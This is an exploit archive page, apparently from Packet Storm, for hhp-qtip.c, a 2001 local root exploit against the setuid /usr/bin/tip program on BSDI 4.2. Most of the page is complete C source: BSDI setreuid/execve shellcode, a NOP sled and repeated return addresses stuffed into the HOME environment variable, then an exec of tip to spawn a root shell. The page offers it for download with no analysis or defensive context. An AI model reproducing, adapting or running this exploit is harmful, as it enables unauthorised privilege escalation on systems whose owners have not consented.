what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

hhp-qtip.c

hhp-qtip.c
Posted Mar 13, 2002
Authored by hhp, Cody Tubbs | Site hhp-programming.net

Hhp-qtip.c is a local root exploit for /usr/bin/tip on BSDI 4.2. Requires access to tip, usually gid(dialer).

tags | exploit, local, root
SHA-256 | 68b298f994c8c477f0f7455e566dc8f16aa96901ae020b249e0593c73d2ca8d6

hhp-qtip.c

Change Mirror Download
/* !DO NOT DISTRIBUTE! !HHP PRIVATE SOURCE ONLY!
*
* qtip.c :: (BSDI 4.2) /usr/bin/tip local root exploit.
*
* Author: Cody Tubbs (loophole of hhp).
* Site: http://www.hhp-programming.net/
* Email: pigspigs@yahoo.com
* Date: 6/15/2001. 2:12:54AM CST.
*
* Requires access to tip, usualy gid(dialer).
* ps... sup tip? submitted by tarsin (robbie gubler)
* or something of the like.
*/

#include <stdio.h>
#define OSET -288 //Worked for me...

static char shellcode[]= //BSDI self-decoding execve-setreuid shellcode.
"\xeb\x0c\x5e\x31\xc9\xb1\x27\xfe\x0e\x46\xe2\xfb\xeb\x05\xe8\xef\xff"
"\xff\xff\x32\xc1\x52\x52\xb1\x7f\xe9\x15\x01\x01\x01\x69\x30\x30\x74"
"\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x52\x54\x52\x55\x54\x51\xb1\x3c\x9b"
"\x01\x01\x01\x01\x08\x01\xc4"; //...... Author: bighawk[@warfare.com]

long get_sp(void){__asm__("movl %esp,%eax");}
int main(int argc, char **v){
char eip[268];
int cont, i;
long retaddr, oset=0;
fprintf(stderr,"(BSDI 4.2) /usr/bin/tip local root exploit.\n");
if(argc>1){oset=atoi(v[1]);}else{oset=OSET;}
retaddr=get_sp()+oset;
fprintf(stderr,"Ret-addr %#x, offset: %d, align: 0.\n",retaddr,oset);
memset(eip,0x90,sizeof(eip));
memcpy(eip+162,shellcode,strlen(shellcode));
for(i=224;i<268;i+=4){*(long *)&eip[i]=retaddr;}
setenv("HOME",eip,1);
execl("/usr/bin/tip","tip","0",0);
}

Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close